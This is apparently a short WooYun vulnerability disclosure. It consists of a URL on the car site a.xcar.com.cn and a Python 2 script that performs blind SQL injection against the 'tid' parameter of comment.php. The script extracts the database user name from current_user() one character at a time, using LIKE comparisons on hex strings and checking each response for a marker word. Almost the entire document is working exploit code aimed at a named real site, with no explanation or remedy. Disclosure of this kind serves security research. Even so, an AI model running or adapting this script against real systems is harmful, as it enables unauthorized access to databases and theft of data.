WooYun.org

http://a.xcar.com.cn/huodong/201509/showfall/comment.php?tid=2

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
i = 33
while i < 128:
    if i == 37:
        i = i+1
    try:
        headers = {"Host": "a.xcar.com.cn", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate"}
        httpClient = httplib.HTTPConnection("192.168.1.2", 8888, timeout=10)
        myurl = u'http://a.xcar.com.cn:80/huodong/201509/showfall/comment.php?tid=2%20and%20current_user()%20like%200x'+temp_database+str(hex(i))[2:]+'25'
        httpClient.request("GET", url=myurl, headers=headers)
        response = httpClient.getresponse()
        rp = response.read()
        if re.search('Mia', rp, re.I):
            temp_database = temp_database + str(hex(i))[2:]
            database = database + chr(i)
            print 'user(): ', database
            i = 33
        i=i+1
        
    except Exception, e:
        print e
    finally:
        if httpClient:
            httpClient.close()